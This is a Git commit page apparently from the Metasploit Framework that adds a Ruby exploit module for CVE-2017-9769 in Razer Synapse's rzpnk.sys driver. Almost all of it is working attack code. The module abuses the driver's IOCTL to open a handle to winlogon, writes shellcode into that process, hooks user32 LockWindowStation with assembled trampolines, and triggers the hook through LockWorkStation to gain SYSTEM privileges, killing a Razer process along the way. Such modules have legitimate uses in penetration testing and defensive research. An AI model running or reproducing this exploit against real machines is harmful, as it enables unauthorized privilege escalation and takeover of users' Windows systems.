Land #8723, Razr Synapse local exploit
lands ZeroSteiner's Razr Synapse local priv esc modulebug/bundler_fix 4.15.1
commit
2a1c661c79
|
@ -0,0 +1,260 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/local/windows_kernel'
|
||||||
|
require 'rex'
|
||||||
|
require 'metasm'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Local::WindowsKernel
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
# the max size our hook can be, used before it's generated for the allocation
|
||||||
|
HOOK_STUB_MAX_LENGTH = 256
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
|
||||||
|
'Description' => %q{
|
||||||
|
A vulnerability exists in the latest version of Razer Synapse
|
||||||
|
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
|
||||||
|
locally by a malicious application to elevate its privileges to those of
|
||||||
|
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
|
||||||
|
in the rzpnk.sys driver that passes a PID specified by the user to
|
||||||
|
ZwOpenProcess. This can be issued by an application to open a handle to
|
||||||
|
an arbitrary process with the necessary privileges to allocate, read and
|
||||||
|
write memory in the specified process.
|
||||||
|
|
||||||
|
This exploit leverages this vulnerability to open a handle to the
|
||||||
|
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
|
||||||
|
installing a hook to execute attacker controlled shellcode. This hook is
|
||||||
|
then triggered on demand by calling user32!LockWorkStation(), resulting
|
||||||
|
in the attacker's payload being executed with the privileges of the
|
||||||
|
infected winlogon process. In order for the issued IOCTL to work, the
|
||||||
|
RazerIngameEngine.exe process must not be running. This exploit will
|
||||||
|
check if it is, and attempt to kill it as necessary.
|
||||||
|
|
||||||
|
The vulnerable software can be found here:
|
||||||
|
https://www.razerzone.com/synapse/. No Razer hardware needs to be
|
||||||
|
connected in order to leverage this vulnerability.
|
||||||
|
|
||||||
|
This exploit is not opsec-safe due to the user being logged out as part
|
||||||
|
of the exploitation process.
|
||||||
|
},
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2017-9769'],
|
||||||
|
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Tested on (64 bits):
|
||||||
|
# * Windows 7 SP1
|
||||||
|
# * Windows 10.0.10586
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => 20
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Mar 22 2017'))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Validate that the driver has been loaded and that
|
||||||
|
# the version is the same as the one expected
|
||||||
|
client.sys.config.getdrivers.each do |d|
|
||||||
|
if d[:basename].downcase == 'rzpnk.sys'
|
||||||
|
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
|
||||||
|
target_checksum = client.fs.file.md5(d[:filename])
|
||||||
|
|
||||||
|
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
|
||||||
|
if check == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||||
|
end
|
||||||
|
|
||||||
|
if session.platform != 'windows'
|
||||||
|
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
|
||||||
|
elsif session.arch != ARCH_X64
|
||||||
|
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
|
||||||
|
end
|
||||||
|
|
||||||
|
pid = session.sys.process['RazerIngameEngine.exe']
|
||||||
|
if pid
|
||||||
|
# if this process is running, the IOCTL won't work but the process runs
|
||||||
|
# with user privileges so we can kill it
|
||||||
|
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
|
||||||
|
session.sys.process.kill(pid)
|
||||||
|
end
|
||||||
|
|
||||||
|
pid = session.sys.process['winlogon.exe']
|
||||||
|
print_status("Found winlogon pid: #{pid}")
|
||||||
|
|
||||||
|
handle = get_handle(pid)
|
||||||
|
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
|
||||||
|
vprint_status('Successfully opened a handle to the winlogon process')
|
||||||
|
|
||||||
|
winlogon = session.sys.process.new(pid, handle)
|
||||||
|
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
|
||||||
|
shellcode_address = winlogon.memory.allocate(allocation_size)
|
||||||
|
winlogon.memory.protect(shellcode_address)
|
||||||
|
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
|
||||||
|
winlogon.memory.write(shellcode_address, payload.encoded)
|
||||||
|
hook_stub_address = shellcode_address + payload.encoded.length
|
||||||
|
|
||||||
|
result = session.railgun.kernel32.LoadLibraryA('user32')
|
||||||
|
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
|
||||||
|
user32_handle = result['return']
|
||||||
|
|
||||||
|
# resolve and backup the functions that we'll install trampolines in
|
||||||
|
user32_trampolines = {} # address => original chunk
|
||||||
|
user32_functions = ['LockWindowStation']
|
||||||
|
user32_functions.each do |function|
|
||||||
|
address = get_address(user32_handle, function)
|
||||||
|
winlogon.memory.protect(address)
|
||||||
|
user32_trampolines[function] = {
|
||||||
|
address: address,
|
||||||
|
original: winlogon.memory.read(address, 24)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# generate and install the hook asm
|
||||||
|
hook_stub = get_hook(shellcode_address, user32_trampolines)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
|
||||||
|
# if this happens, there was a programming error
|
||||||
|
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
|
||||||
|
|
||||||
|
winlogon.memory.write(hook_stub_address, hook_stub)
|
||||||
|
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
|
||||||
|
|
||||||
|
# install the asm trampolines to jump to the hook
|
||||||
|
user32_trampolines.each do |function, trampoline_info|
|
||||||
|
address = trampoline_info[:address]
|
||||||
|
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
|
||||||
|
mov rax, 0x#{address.to_s(16)}
|
||||||
|
push rax
|
||||||
|
mov rax, 0x#{hook_stub_address.to_s(16)}
|
||||||
|
jmp rax
|
||||||
|
}).encode_string
|
||||||
|
winlogon.memory.write(address, trampoline)
|
||||||
|
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
|
||||||
|
end
|
||||||
|
|
||||||
|
session.railgun.user32.LockWorkStation()
|
||||||
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_address(dll_handle, function_name)
|
||||||
|
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
|
||||||
|
result['return']
|
||||||
|
end
|
||||||
|
|
||||||
|
# this is where the actual vulnerability is leveraged
|
||||||
|
def get_handle(pid)
|
||||||
|
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||||
|
return nil unless handle
|
||||||
|
vprint_status('Successfully opened a handle to the driver')
|
||||||
|
|
||||||
|
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
|
||||||
|
|
||||||
|
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
|
||||||
|
['DWORD', 'FileHandle', 'in' ],
|
||||||
|
['DWORD', 'Event', 'in' ],
|
||||||
|
['LPVOID', 'ApcRoutine', 'in' ],
|
||||||
|
['LPVOID', 'ApcContext', 'in' ],
|
||||||
|
['PDWORD', 'IoStatusBlock', 'out'],
|
||||||
|
['DWORD', 'IoControlCode', 'in' ],
|
||||||
|
['PBLOB', 'InputBuffer', 'in' ],
|
||||||
|
['DWORD', 'InputBufferLength', 'in' ],
|
||||||
|
['PBLOB', 'OutputBuffer', 'out'],
|
||||||
|
['DWORD', 'OutputBufferLength', 'in' ],
|
||||||
|
])
|
||||||
|
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
|
||||||
|
return nil if result['return'] != 0
|
||||||
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
|
||||||
|
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_hook(shellcode_address, restore)
|
||||||
|
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
|
||||||
|
return nil if dll_handle == 0
|
||||||
|
create_thread_address = get_address(dll_handle, 'CreateThread')
|
||||||
|
|
||||||
|
stub = %{
|
||||||
|
call main
|
||||||
|
; restore the functions where the trampolines were installed
|
||||||
|
push rbx
|
||||||
|
}
|
||||||
|
|
||||||
|
restore.each do |function, trampoline_info|
|
||||||
|
original = trampoline_info[:original].unpack('Q*')
|
||||||
|
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
|
||||||
|
original.each do |chunk|
|
||||||
|
stub << %{
|
||||||
|
mov rbx, 0x#{chunk.to_s(16)}
|
||||||
|
mov qword ptr ds:[rax], rbx
|
||||||
|
add rax, 8
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
stub << %{
|
||||||
|
pop rbx
|
||||||
|
ret
|
||||||
|
|
||||||
|
main:
|
||||||
|
; backup registers we're going to mangle
|
||||||
|
push r9
|
||||||
|
push r8
|
||||||
|
push rdx
|
||||||
|
push rcx
|
||||||
|
|
||||||
|
; setup the arguments for the call to CreateThread
|
||||||
|
xor rax, rax
|
||||||
|
push rax ; lpThreadId
|
||||||
|
push rax ; dwCreationFlags
|
||||||
|
xor r9, r9 ; lpParameter
|
||||||
|
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
|
||||||
|
xor rdx, rdx ; dwStackSize
|
||||||
|
xor rcx, rcx ; lpThreadAttributes
|
||||||
|
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
|
||||||
|
|
||||||
|
call rax
|
||||||
|
add rsp, 16
|
||||||
|
|
||||||
|
; restore arguments that were mangled
|
||||||
|
pop rcx
|
||||||
|
pop rdx
|
||||||
|
pop r8
|
||||||
|
pop r9
|
||||||
|
ret
|
||||||
|
}
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue